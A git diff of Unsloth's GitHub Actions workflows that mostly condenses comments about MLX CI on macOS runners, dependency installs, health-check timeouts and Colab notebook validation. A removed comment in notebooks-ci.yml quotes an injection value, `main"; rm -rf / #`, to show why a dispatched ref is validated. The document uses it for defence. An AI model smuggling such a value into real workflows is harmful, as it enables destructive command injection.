-# is intentionally skipped by the audit (pip-audit cannot resolve a
-# git URL through PyPI metadata; the audit comment in security-audit.yml
-# documents this). No new package is introduced solely by MLX CI.
+# MLX dispatch gate on a free Apple Silicon runner. Proves what only real hardware can: _IS_MLX flips
+# with real mlx, MLX-only zoo modules import against real wheels, the /api/health capability verdict,
+# and an end-to-end MLX LoRA train + inference smoke. Fully spoofed dispatch tests run on Linux instead.
+# security-audit.yml covers these deps, except the git+ unsloth-zoo install pip-audit cannot resolve.
name: MLX CI on Mac M1
@@ -86,36 +23,19 @@ on:
- 'unsloth_cli/_inference.py'
- 'unsloth_cli/commands/train.py'
- 'unsloth_cli/tests/test_train_mlx_ddp_launch.py'
- # The capability verdict is decided across these three: hardware/** measures it,
- # mlx_repair.py says whether a self-heal can still overturn it, and main.py holds
- # it back while one can. main.py is the studio's front door and is edited often,
- # so listing it does cost macOS slots on PRs that never touch the verdict -- but a
- # gate that cannot be triggered by the file the logic lives in is not a gate.
+ # The capability verdict lives in hardware/**, mlx_repair.py and main.py, so all three trigger this.
- 'studio/backend/main.py'
- 'studio/backend/utils/mlx_repair.py'
- # test_hardware_dispatch_matrix.py and test_is_mlx_dispatch_gate.py are
- # deliberately absent: this workflow no longer runs them (see the AST
- # contract step below), so booting a macOS runner when only those files
- # change would burn a slot from the 5-job account-wide macOS cap to run
- # nothing related. studio-backend-ci.yml covers both on ubuntu-latest and
- # already triggers on them.
+ # The spoofed dispatch tests are deliberately absent: studio-backend-ci.yml runs them on Linux.
- 'studio/backend/tests/test_mlx_inference_backend.py'
- 'tests/studio/test_mlx_training_worker_behaviors.py'
- 'tests/studio/run_real_mlx_smoke.py'
- 'tests/studio/mac_capability_verdict_smoke.py'
- 'tests/conftest.py'
- # Every capability-verdict boot below shells out to these two, so an edit to
- # either changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- '.github/scripts/wait-for-health.sh'
- '.github/workflows/mlx-ci.yml'
- # The prebuilt llama.cpp step runs studio/install_llama_prebuilt.py by path and
- # fetches the GGUF through hf-download-with-retry.sh. The installer imports
- # prebuilt_core.py and nvidia_probe.py beside it, and
- # backend.utils.prebuilt.llama_backend and backend.utils.auth_safe (with the
- # vendored truststore) from the backend, so these decide which bundle it installs.
- # The job also pip installs studio.txt and the repo itself, and its pytest runs
- # load tests/conftest.py, which loads tests/_shared.
+ # Files that decide which llama.cpp bundle the prebuilt step installs, plus what the pytest runs load.
- '.github/scripts/hf-download-with-retry.sh'
- 'studio/install_llama_prebuilt.py'
- 'studio/prebuilt_core.py'
@@ -156,13 +76,7 @@ on:
- '.github/scripts/boot-studio-api-only.sh'
- '.github/scripts/wait-for-health.sh'
- '.github/workflows/mlx-ci.yml'
- # The prebuilt llama.cpp step runs studio/install_llama_prebuilt.py by path and
- # fetches the GGUF through hf-download-with-retry.sh. The installer imports
- # prebuilt_core.py and nvidia_probe.py beside it, and
- # backend.utils.prebuilt.llama_backend and backend.utils.auth_safe (with the
- # vendored truststore) from the backend, so these decide which bundle it installs.
- # The job also pip installs studio.txt and the repo itself, and its pytest runs
- # load tests/conftest.py, which loads tests/_shared.
+ # Files that decide which llama.cpp bundle the prebuilt step installs, plus what the pytest runs load.
- '.github/scripts/hf-download-with-retry.sh'
- 'studio/install_llama_prebuilt.py'
- 'studio/prebuilt_core.py'
@@ -196,46 +110,13 @@ jobs:
dispatch:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: dispatch
- # macos-26, not macos-15, on a measurement rather than a preference. Both are
- # free Apple Silicon standard runners, so this is the same class of machine.
- #
- # studio-mac-install-matrix runs both images from ONE matrix, so their queues
- # can be compared on identical commits and identical triggers. Over 163 jobs
- # per leg:
- #
- # exec med exec p90 queue p90
- # macos-15 160s 713s 20667s
- # macos-26 176s 597s 3866s
- #
- # The medians say the two are the same machine. The queue p90 says they are
- # not the same pool: macos-15 is 5.3x worse in the tail, five and a half hours
- # against one. That tail is what sets this repo's wall clock -- the census
- # behind it found every commit's last finisher to be this job, minutes of work
- # behind hours of waiting -- and the median hides it completely, because the
- # median wait on both images is zero.
- #
- # The likely cause is the macos-14 retirement (brownouts 2026-10-05, removal
- # 2026-11-02): everything migrated onto macos-15, including this job, and
- # macos-26 was left comparatively empty. That also means this is a fact about
- # today's pool and not a property of the image, so it is worth re-measuring
- # rather than assuming. The comparison above is one query against the install
- # matrix and can be re-run whenever the queue looks wrong again.
- #
- # Not macos-14 for the retirement above; all three are Apple Silicon, so the
- # arm64 paths are still what gets tested.
+ # macos-26, not macos-15: same hardware class, but macos-15's queue tail was measured ~5x longer.
+ # That is a property of today's pool; re-measure if queues look wrong.
runs-on: macos-26
- # 40 min: dispatch + spoofed matrix + 7-step real LoRA training is
- # under 2 min; GGUF export builds llama.cpp via cmake on Apple
- # Silicon (~5-7 min), so we budget headroom. The capability-verdict
- # boots add roughly ten more: two settle in seconds, but the in-flight
- # one has to wait out the whole torch warm before the self-heal is even
- # scheduled, and then the length of the install it is holding a verdict
- # against.
+ # Budget covers the cmake llama.cpp build for GGUF export and the capability-verdict boots.
timeout-minutes: 40
steps:
- # harden-runner v2.20.0 supports blocking mode on GitHub-hosted macOS
- # runners. Keep this job in audit while its egress destinations are
- # observed, then graduate it to a reviewed block-mode allowlist.
+ # Audit mode until egress destinations are observed, then move to a block-mode allowlist.
- name: Harden runner (audit)
uses: step-security/harden-runner@ccd8616d44fd3846e67624a50d5aad6d37bf2d25 # v2.22.1
with:
@@ -258,42 +139,9 @@ jobs:
pyproject.toml
studio/backend/requirements/*.txt
- # macOS install ladder, validated locally against a Linux
- # mac-sim venv (platform spoofed + mlx_simulation shim + real
- # datasets/transformers/structlog).
- #
- # 1. studio/backend/requirements/studio.txt brings structlog,
- # fastapi, etc. The hardware probe imports structlog at
- # module top level.
- # 2. Same pytest / numpy / httpx stack the rest of the repo CI
- # uses.
- # 3. torch is explicitly installed: unsloth-zoo's pyproject
- # deliberately excludes torch on darwin+arm64 (mlx replaces
- # it for runtime use), but the dispatch tests spoof
- # torch.cuda / torch.xpu / torch.backends.mps via monkeypatch
- # and so the test process needs torch importable. We pull
- # from the PyTorch CPU index so Apple Silicon gets the
- # explicit cpu+MPS arm64 wheel rather than something the
- # default PyPI resolver might pick up. The CPU index hosts
- # macosx_*_arm64 wheels alongside the Linux x86_64 ones.
- # 4. unsloth-zoo from git main (NOT PyPI), WITH deps. PR-A's
- # MLX support landed after the most recent unsloth-zoo PyPI
- # release; the wheel still raises NotImplementedError on
- # Apple Silicon when device_type.get_device_type() runs
- # unguarded. Unsloth's own install.sh overlays unsloth-zoo
- # from git main for the same reason. Pulling deps lets pip
- # resolve the platform-conditional MLX-only wheels (mlx,
- # mlx-lm, mlx-vlm gated on darwin+arm64 in unsloth-zoo's
- # pyproject) AND the shared deps (datasets, transformers,
- # sentencepiece, ...) that unsloth's MLX branch loads via
- # dataprep/raw_text.py.
- # 5. unsloth -e . --no-deps so the editable install does not
- # fight the unsloth-zoo dep set.
- #
- # All explicit pip installs are version-pinned to a single
- # released version (the latest as of 2026-05-07 within each
- # project's existing constraint range). bump alongside the rest
- # of the security audit when a new release lands.
+ # torch is installed explicitly from the CPU index: zoo excludes it on darwin-arm64 but the spoofed
+ # tests need it. unsloth-zoo comes from git main with deps (PyPI lacks MLX support) to pull the MLX wheels;
+ # unsloth is installed --no-deps so it does not fight that dep set.
- name: Install deps
run: |
python -m pip install --upgrade pip
@@ -315,8 +163,7 @@ jobs:
'httpx==0.28.1'
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch==2.10.0'
- # github.com occasionally 500s on the git fetch; retry the
- # zoo install so a single upstream blip does not fail CI.
+ # Retry: github.com occasionally 500s on the git fetch.
for attempt in 1 2 3; do
if pip install "unsloth_zoo @ git+https://github.com/unslothai/unsloth-zoo"; then
break
@@ -331,8 +178,6 @@ jobs:
done
pip install -e . --no-deps
- # Real Apple Silicon sanity: confirm _IS_MLX activates on real
- # hardware with no platform spoof.
- name: Verify _IS_MLX flips True on real Apple Silicon
run: |
python -c "
@@ -344,8 +189,6 @@ jobs:
print('OK: _IS_MLX activated on real Apple Silicon')
"
- # Real Apple Silicon sanity: confirm every PR-A MLX-only module
- # loads against real mlx + mlx-lm + mlx-vlm wheels.
- name: Smoke-import every MLX-only unsloth_zoo module
run: |
python -c "
@@ -366,18 +209,7 @@ jobs:
print('OK: FastMLXModel + MLXTrainer surface present')
"
- # AST contract checks on worker.py. Pure `ast.parse`, no runtime and no
- # mlx import, so it would run anywhere -- but this is the only workflow
- # that runs it at all, so it stays here until something on Linux claims it.
- #
- # test_hardware_dispatch_matrix.py and test_is_mlx_dispatch_gate.py used
- # to run here too. They are 100% spoofed monkeypatches (the fixture
- # installs a MetaPathFinder that blocks `import mlx.core` for "no-mlx"
- # profiles), so they assert the same thing on any host -- and
- # studio-backend-ci.yml already runs both on ubuntu-latest in its
- # "Hardware-spoof tests" step. Running them again on a macOS runner spent
- # minutes from a pool capped at 5 concurrent jobs account-wide to
- # re-derive a result Linux had already produced.
+ # Pure AST checks that could run anywhere, but no other workflow runs them yet.
- name: MLX worker AST contract tests
env:
PYTHONPATH: ${{ github.workspace }}/studio
@@ -394,9 +226,7 @@ jobs:
python -m pytest -v --tb=short \
unsloth_cli/tests/test_train_mlx_ddp_launch.py
- # The inference backend's numerical tests importorskip mlx, so they skip on
- # studio-backend-ci.yml's ubuntu runner and only ever execute here. Run from
- # studio/backend: its conftest puts that directory on sys.path.
+ # These importorskip mlx, so they only execute here. Run from studio/backend for its conftest.
- name: MLX inference backend tests
working-directory: studio/backend
env:
@@ -404,13 +234,7 @@ jobs:
run: |
python -m pytest -v --tb=short tests/test_mlx_inference_backend.py
- # Real MLX training + inference smoke test. Trains
- # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
- # (batch_size=2, gradient_accumulation_steps=3) on a single
- # repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
- # the trained model in 3 export formats. The `train` subcommand
- # captures per-phase timing + peak GPU + peak RSS into
- # train_metrics.json so we can detect regressions across CI runs.
+ # `train` writes per-phase timing and peak memory to train_metrics.json for regression tracking.
- name: MLX export round-trip — TRAIN + SAVE 3 formats
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -418,19 +242,12 @@ jobs:
UNSLOTH_COMPILE_DISABLE: '1'
run: |
mkdir -p mlx_workdir
- # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
- # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
+ # Anonymous release-API lookups 403 on rate limit; read-only token, never given to binary-running steps.
GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
python tests/studio/run_real_mlx_smoke.py train \
--workdir "$PWD/mlx_workdir"
- # Each reload step runs in a FRESH Python process to confirm
- # the cold-start path users would hit in production also works
- # (not just the in-memory continuation of a still-running
- # trainer). FastMLXModel.from_pretrained gets called from
- # scratch; mx.random is re-seeded; per-step timing + peak
- # memory are emitted to {format}_reload_metrics.json next to
- # the saved dir.
+ # Fresh process per reload, to cover the cold-start path users hit.
- name: MLX export round-trip — RELOAD LoRA (fresh process)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -451,12 +268,8 @@ jobs:
--format merged \
--dir "$PWD/mlx_workdir/merged_16bit"
- # GGUF reload uses the llama-cli binary that save_pretrained_gguf
- # built. If save_pretrained_gguf was skipped during train (e.g.
- # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
- # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
- # bug), this step emits a workflow warning and exits 0 so the
- # LoRA + merged_16bit assertions remain the gating signal.
+ # Exits 0 with a warning when GGUF export was skipped during train (a llama.cpp converter limit);
+ # LoRA and merged_16bit stay the gating signal.
- name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -475,9 +288,7 @@ jobs:
echo "reload assertions are still gating this PR."
fi
- # Print all metrics JSON files so regressions are visible in the
- # job log. always() so we get telemetry even if a reload step
- # asserted gibberish.
+ # always() so metrics print even when a reload step failed.
- name: MLX export round-trip — aggregate metrics
if: always()
run: |
@@ -491,30 +302,14 @@ jobs:
done
# ---------------------------------------------------------------
- # The Mac capability verdict, on a real Apple Silicon host.
- #
- # /api/health is what decides whether the sidebar's Train and Video rows
- # are enabled, greyed out behind "Training needs MLX. Run `unsloth studio
- # update`", or still spinning. That decision reads a real `import
- # mlx.core` and waits on a real background reinstall, and the unit tests
- # for it necessarily fake both. Here the host is Apple Silicon and the
- # MLX stack is genuinely present (first step) or genuinely unimportable
- # (last two), so this is the only place the verdict is judged against the
- # thing it is a verdict about.
- #
- # Three boots, one per step: the self-heal is once per process, so the
- # opted-out and the in-flight cases cannot share a server.
+ # Mac capability verdict on real Apple Silicon, with MLX genuinely present or genuinely unimportable.
+ # One boot per step: the self-heal runs once per process.
# ---------------------------------------------------------------
- name: Provision an Unsloth venv for the capability-verdict boots
run: |
set -euo pipefail
- # `unsloth studio` re-execs into $STUDIO_HOME/unsloth_studio and refuses to
- # start without it ("Unsloth Studio not set up. Run install.sh first."), so a
- # bare `pip install -e .` cannot boot a server. install.sh --local builds that
- # venv, but it also reinstalls the whole stack for ten minutes, and
- # studio-mac-ui-smoke.yml already pays that on every studio/** PR. Building the
- # venv over this job's site-packages gets the same launch path -- no re-exec,
- # the real run.py, the real uvicorn -- for the cost of a virtualenv.
+ # `unsloth studio` re-execs into this venv and refuses to start without it; building it over the job's
+ # site-packages gets the real launch path without install.sh's full reinstall.
STUDIO_VENV="$HOME/.unsloth/studio/unsloth_studio"
rm -rf "$STUDIO_VENV"
python -m venv --system-site-packages "$STUDIO_VENV"
@@ -522,9 +317,7 @@ jobs:
"$STUDIO_VENV/bin/unsloth" --help > /dev/null
echo "studio venv ready at $STUDIO_VENV"
- # PATH is set per step rather than through $GITHUB_PATH: the llama.cpp steps
- # below deliberately run under the job's own interpreter, and a venv exported
- # for the rest of the job would quietly move them.
+ # PATH is set per step, not via $GITHUB_PATH, so the llama.cpp steps keep the job interpreter.
- name: "Mac capability verdict: real MLX must never look chat-only"
env:
UNSLOTH_COMPILE_DISABLE: '1'
@@ -566,12 +359,8 @@ jobs:
echo
done
- # Validates the macOS prebuilt path Unsloth's setup.sh uses (#5963): install the
- # unslothai/llama.cpp fork's latest release, download a small public GGUF, and
- # check llama-server /completion end to end. Split and placed last so the
- # untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
- # leaving no token-bearing step or shared workspace for a tampered prebuilt to
- # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
+ # Placed last so the untrusted prebuilt binary only runs after every HF_TOKEN step.
+ # GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
- name: Unsloth prebuilt llama.cpp install + GGUF download (Mac M1)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -581,7 +370,6 @@ jobs:
set -euo pipefail
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
rm -rf "$INSTALL_DIR"
- # Download only -- no llama-quantize / llama-server launch in this step.
python studio/install_llama_prebuilt.py \
--install-dir "$INSTALL_DIR" \
--published-repo unslothai/llama.cpp
@@ -591,15 +379,14 @@ jobs:
'gemma-3-270m-it-Q4_K_M.gguf' \
/tmp/ggufs
- # Final step: runs the downloaded binaries with no secrets present, and clears
- # the GitHub Actions command files so a tampered prebuilt cannot influence the job.
+ # Runs the downloaded binaries with no secrets and clears the Actions command files first, so a
+ # tampered prebuilt cannot influence the job.
- name: Unsloth prebuilt llama.cpp GGUF inference smoke (Mac M1)
run: |
set -euo pipefail
unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
- # Unsloth bundles only llama-server + llama-quantize (not llama-cli);
- # inference goes through llama-server's HTTP /completion endpoint.
+ # The bundle has llama-server and llama-quantize only, no llama-cli.
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
[ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
@@ -621,28 +408,8 @@ jobs:
SERVER_PID=$!
trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT
- # Wait for /health to come up.
- #
- # 180s, the budget .github/scripts/wait-for-health.sh fixes for the
- # Studio health waits, and the one the other server waits under
- # .github/workflows already use. This poll was the outlier at 30, and
- # 30 is under the cost of the thing it waits for: over 21 completed
- # runs the server took 20.0s to 30.6s of wall clock to answer /health,
- # median 27.8s, so the slowest passes were landing on the deadline and
- # four runs -- including two pushes to main -- failed with the model
- # still loading. Nothing here is slow when the server is healthy: the
- # loop returns on the first good probe, so a larger budget costs only
- # the runs that were going to fail anyway.
- #
- # A wall-clock deadline rather than an iteration count. With
- # --max-time each probe can cost seconds, so an iteration is not a
- # second and counting iterations does not bound the wait. $SECONDS is
- # this shell's elapsed wall time. The old loop showed the gap: it
- # advertised 30s, and its 30 iterations took 34s to expire.
- #
- # --connect-timeout/--max-time because curl sets no maximum transfer
- # time by default. A server that binds the port and then wedges parks
- # a probe forever, and one infinite iteration is not a deadline.
+ # 180s matches wait-for-health.sh; server startup was measured at up to ~31s, so 30 was too tight.
+ # Wall-clock deadline via $SECONDS, and curl timeouts so a wedged server cannot park a probe forever.
HEALTH_TIMEOUT=180
started=$SECONDS
deadline=$(( started + HEALTH_TIMEOUT ))
@@ -651,8 +418,6 @@ jobs:
if curl -sf --connect-timeout 3 --max-time 5 \
"http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
healthy=1
- # Elapsed wall time, not the iteration count the old loop
- # printed: that undercounted, reporting 26s for a 28.0s wait.
echo " server up after $(( SECONDS - started ))s"
break
fi
diff --git a/.github/workflows/model-catalog-network-check.yml b/.github/workflows/model-catalog-network-check.yml
index ca290582116..3d48a32c172 100644
--- a/.github/workflows/model-catalog-network-check.yml
+++ b/.github/workflows/model-catalog-network-check.yml
@@ -27,12 +27,11 @@ name: Model catalog network check
on:
schedule:
- - cron: '19 6 * * *' # 06:19 UTC daily, off the cron rush
+ - cron: '19 6 * * *'
workflow_dispatch:
concurrency:
- # The event is part of the group so a manual dispatch and the nightly cannot
- # coalesce; both resolve to refs/heads/main.
+ # Event is in the group so a manual dispatch and the nightly cannot coalesce.
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: false
@@ -56,9 +55,6 @@ jobs:
with:
node-version: '22'
- # No `npm ci`: the check is a standalone node script over two data
- # modules and the built-in fetch, so it needs no dependencies at all.
- # Skipping the install also keeps this job away from the lockfile /
- # allowScripts machinery the frontend PR gate has to run.
+ # No `npm ci`: the check is a standalone node script with no dependencies.
- name: Catalog entries must still resolve on the Hub
run: npm run catalog:check:network
diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml
index 3e905c6802d..f075d2b1a5d 100644
--- a/.github/workflows/notebooks-ci.yml
+++ b/.github/workflows/notebooks-ci.yml
@@ -1,21 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Cross-repo notebook validator. Lives in unslothai/unsloth (this repo)
-# and inspects every notebook in unslothai/notebooks at HEAD (or the
-# ref dispatched in via repository_dispatch).
-#
-# Catches the bug classes that landed in:
-# - unslothai/notebooks#258 Colab torchao 0.10 vs peft 0.19 floor
-# - unslothai/notebooks#260 DONT_UPDATE_EXCEPTIONS coverage drift
-# - unslothai/notebooks#261 torch/torchcodec ABI; --no-deps tokenizers
-# - unslothai/notebooks#264 --no-deps transformers + Colab tokenizers drift
-# - unslothai/notebooks#221 git+ HEAD installs in install cells
-# - unslothai/notebooks commit 51b1462 template/notebook drift
-#
-# CPU-only by design. Layer 2 (api-introspect) reuses the existing
-# tests/_zoo_aggressive_cuda_spoof.py harness so `import unsloth`
-# succeeds on a GPU-less ubuntu-latest runner.
+# Validates every notebook in unslothai/notebooks. CPU-only: api-introspect uses
+# tests/_zoo_aggressive_cuda_spoof.py so `import unsloth` works without a GPU.
name: Notebooks CI
@@ -26,21 +12,14 @@ on:
- 'scripts/notebook_validator.py'
- 'scripts/notebook_to_python.py'
- 'scripts/data/colab_pip_freeze.gpu.txt'
- # Rule-bearing since _marker_environment started reading the image's Python out of it:
- # an OS-only rotation changes which requirements the validator replays.
+ # Rule-bearing: the validator reads the image's Python version from it.
- 'scripts/data/colab_os_info.gpu.txt'
- 'scripts/data/colab_to_cpu_pin.json'
- 'tests/notebooks/**'
- # Every helper the smoke steps import, or a change to one of them merges without the
- # matrix that runs it ever starting. test_smoke_install_contract.py derives this list
- # from the steps themselves, so a new helper fails that test until it is listed here.
+ # Every helper the smoke steps import; test_smoke_install_contract.py enforces this list.
- 'tests/_zoo_aggressive_cuda_spoof.py'
- 'tests/_torchcodec_stub.py'
- '.github/workflows/notebooks-ci.yml'
- # The smoke-install contract runs under pytest from the repo checkout, so the root
- # conftest, the tests package, the tests/_shared helpers it loads
- # (installer_venv_root.py imports studio/install_manifest.py) and the pytest
- # config in pyproject.toml all shape the run.
- 'tests/conftest.py'
- 'tests/__init__.py'
- 'tests/_shared/**'
@@ -51,9 +30,6 @@ on:
- '.github/actions/pip-cache-restore/**'
- '.github/actions/pip-cache-save/**'
schedule:
- # Daily 06:17 UTC. Catches Colab preinstall bumps (the upstream image
- # is rebuilt roughly weekly) without us waiting on a PR. Off the
- # :00/:30 fleet-collision spots.
- cron: '17 6 * * *'
workflow_dispatch:
inputs:
@@ -65,7 +41,6 @@ on:
type: boolean
default: false
repository_dispatch:
- # Fired by a tiny companion workflow on unslothai/notebooks.
types: [notebooks_pr_opened, notebooks_main_pushed]
concurrency:
@@ -90,13 +65,7 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- # Validate the dispatched ref before it reaches actions/checkout's `ref:`
- # input. Reading via env (NOT direct ${{ ... }} interpolation in the
- # regex test) closes the GitHub-Actions-injection class where a
- # client_payload.ref like `main"; rm -rf / #` would be embedded into the
- # shell command. NOTEBOOKS_REF defaults to 'main' on non-dispatch
- # events, but only repository_dispatch can supply attacker-controlled
- # values, so we gate this check on that event type.
+ # Validate the dispatched ref via env (not ${{ }} interpolation) to prevent shell injection.
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
@@ -119,7 +88,7 @@ jobs:
repository: unslothai/notebooks
ref: ${{ env.NOTEBOOKS_REF }}
path: notebooks
- fetch-depth: 0 # drift check needs git status / diff
+ fetch-depth: 0
persist-credentials: false
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
@@ -129,34 +98,19 @@ jobs:
- name: Install validator deps
run: |
python -m pip install --upgrade pip
- # nbformat + nbconvert come from the converter's requirements;
- # spellchecker + huggingface_hub are imported at module top of
- # update_all_notebooks.py.
pip install \
'nbformat>=5.10' 'nbconvert>=7.16' 'pyspellchecker>=0.8' \
'huggingface_hub>=0.34' 'tqdm>=4.66' \
pytest 'pyyaml>=6'
- name: Smoke-install contract
- # Run here, not only in the auto-discovering test jobs, because those key
- # on `tests/**` and `scripts/**` and this file is not in their paths. A PR
- # editing only this workflow would otherwise skip the guard that exists to
- # protect this workflow, which is how the smoke job's interpreter pin and
- # its snapshot drifted apart unnoticed in the first place.
- #
- # This job checks the repo out under `unsloth/`, so the path is prefixed;
- # an unprefixed one collects nothing and passes vacuously.
+ # Run here too: the auto-discovering test jobs do not trigger on this workflow's path.
+ # Path is prefixed because this job checks the repo out under `unsloth/`.
run: python -m pytest unsloth/tests/notebooks/test_smoke_install_contract.py -q
- name: Diff Colab oracle vs committed snapshots (advisory)
- # Pulls pip-freeze.gpu.txt + apt-list-gpu.txt + os-info-gpu.txt
- # from googlecolab/backend-info and prints NEW / REMOVED /
- # CHANGED entries against scripts/data/colab_*.txt. Non-blocking
- # on PRs; the daily cron job below runs the same step with
- # --strict so upstream rotations surface within ~24h.
- # MUST stay above the refresh below: that step overwrites the
- # committed pip snapshot in place, so a diff after it compares
- # upstream against a copy of itself and never reports pip drift.
+ # Non-blocking on PRs; the cron job runs it with --strict.
+ # MUST stay above the refresh below, which overwrites the committed pip snapshot in place.
continue-on-error: true
working-directory: ${{ github.workspace }}
run: |
@@ -164,13 +118,8 @@ jobs:
--snapshot-dir unsloth/scripts/data
- name: Refresh Colab oracles (best-effort; falls back to snapshot)
- # --all, not just pip-freeze: marker evaluation reads the Python version out of
- # colab_os_info.gpu.txt, so refreshing the package set on its own would judge the
- # live packages against the previous image's Python after a Colab version rotation,
- # skipping requirements that apply or replaying ones that do not. --all writes
- # nothing unless it fetched every rule-bearing oracle AND could write the whole set,
- # restoring the committed files if it could not, so the fallback is always a
- # self-consistent generation.
+ # --all: marker evaluation reads the Python version from colab_os_info.gpu.txt, so the
+ # whole snapshot must refresh together. It restores the committed files on partial failure.
run: |
python unsloth/scripts/notebook_validator.py refresh-colab \
--all --snapshot-dir unsloth/scripts/data \
@@ -178,20 +127,13 @@ jobs:
- name: Drift check (re-run update_all_notebooks.py + git diff)
working-directory: ${{ github.workspace }}
- # Reported as non-blocking until the upstream `unslothai/notebooks`
- # tree is regenerated. The first run on @main surfaces ~463 files
- # of drift (7359 / 9634 line delta), which is a real backlog the
- # notebooks-side maintainers need to clear in their own repo --
- # this PR's role is to surface the count, not auto-fix it.
+ # Non-blocking until the upstream notebooks drift backlog is cleared.
continue-on-error: true
run: |
python unsloth/scripts/notebook_validator.py drift \
--notebooks-dir notebooks
- name: Convert sanity (every nb / kaggle / original_template -> .py)
- # Same rationale as Drift: a handful of upstream notebooks fail
- # the converter (custom magics, malformed JSON, etc). Surface
- # the count without blocking; the team triages in unslothai/notebooks.
continue-on-error: true
run: |
python unsloth/scripts/notebook_validator.py convert \
@@ -199,24 +141,14 @@ jobs:
--out _converted
- name: Lint (install cells + AST scan, env-scoped)
- # Reported as non-blocking (continue-on-error: true) until the
- # backlog of pre-existing findings on unslothai/notebooks@main is
- # cleared. Same pattern PR #5298 used for biome:check on the
- # frontend. As of this commit the live tree surfaces 27 errors +
- # 6 warnings, all real (peft/torchao floor missing in 6 nb/
- # notebooks, 14 git+ HEAD installs in hand-tuned exception
- # notebooks, 6 torch/torchcodec ABI mismatches, 1
- # transformers/tokenizers --no-deps drift). The count surfaces
- # in the PR check UI. Drop continue-on-error once it hits zero.
+ # Non-blocking until the upstream lint backlog hits zero.
continue-on-error: true
run: |
python unsloth/scripts/notebook_validator.py lint \
--notebooks-dir notebooks \
--colab-pin unsloth/scripts/data/colab_pip_freeze.gpu.txt \
--no-pypi
- # --no-pypi skips R-INST-002 (transitive resolve via PyPI metadata).
- # Layer 1 keeps PR-time wall-clock predictable; the daily cron run
- # below drops --no-pypi and refreshes the cache.
+ # --no-pypi skips R-INST-002 at PR time; the daily cron drops it.
- name: DONT_UPDATE_EXCEPTIONS coverage
run: |
@@ -229,9 +161,7 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- # See `static.Validate client_payload.ref shape` for rationale. This
- # job's `if:` excludes repository_dispatch today, so the validation
- # step is a defence-in-depth no-op until that gate ever relaxes.
+ # Defence in depth: this job's `if:` excludes repository_dispatch today.
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
@@ -254,44 +184,24 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with: { python-version: '3.12' }
- name: Install
- # packaging is not in a bare setup-python environment, and _requirement_applies
- # falls back to "applies" when it cannot import Marker. Without it this job
- # replays every environment-marked requirement, including the ones Colab's pip
- # skips, which is exactly what the Python-version oracle exists to decide.
+ # Without packaging, _requirement_applies treats every marked requirement as applying.
run: pip install -U pip packaging
- name: Diff Colab oracle vs committed snapshots (--strict on cron)
- # Cron-only escalation of the advisory PR-time check. Fails if
- # pip-freeze.gpu.txt has drifted from scripts/data/colab_*.txt --
- # that is the oracle `lint --colab-pin` resolves R-INST-002/003/
- # 004/005 against. apt-list / os-info drift is printed but does not
- # fail: nothing reads them, so an Ubuntu security bump would only
- # add noise. `refresh-colab --all` acknowledges a report.
- # MUST stay above the refresh below, which overwrites the committed
- # pip snapshot in place; diffing after it compares upstream with
- # upstream and can never fail.
+ # Cron-only: fail on pip-freeze drift (apt/os drift only printed).
+ # MUST stay above the refresh below, which overwrites the committed pip snapshot in place.
run: |
python unsloth/scripts/notebook_validator.py colab-diff \
--snapshot-dir unsloth/scripts/data --strict
- name: Refresh Colab oracle
- # `if: always()` so a strict-drift failure above does not skip this and
- # the lint below. A Colab rotation is exactly when the live-metadata
- # pass is worth having, and skipping it there would mean the job only
- # ever lints on the days nothing changed. The strict step still decides
- # the job's verdict. An advisory oracle that will not fetch is skipped
- # rather than fatal, matching how colab-diff treats its drift; only the
- # rule-bearing ones stop the refresh.
+ # always(): a strict-drift failure must not skip the refresh and lint; the strict step
+ # still decides the verdict.
if: always()
run: |
python unsloth/scripts/notebook_validator.py refresh-colab \
--all --snapshot-dir unsloth/scripts/data
- name: Lint with live PyPI metadata
if: always()
- # Same backlog, same disposition as the PR-time `Lint` step above:
- # these are pre-existing findings on unslothai/notebooks@main, not a
- # regression this repo can fix, and dropping the resolver's --no-pypi
- # only adds R-INST-002/005 rows on top of them. Hard-failing here kept
- # the cron red for a backlog the PR job deliberately tolerates. Drop
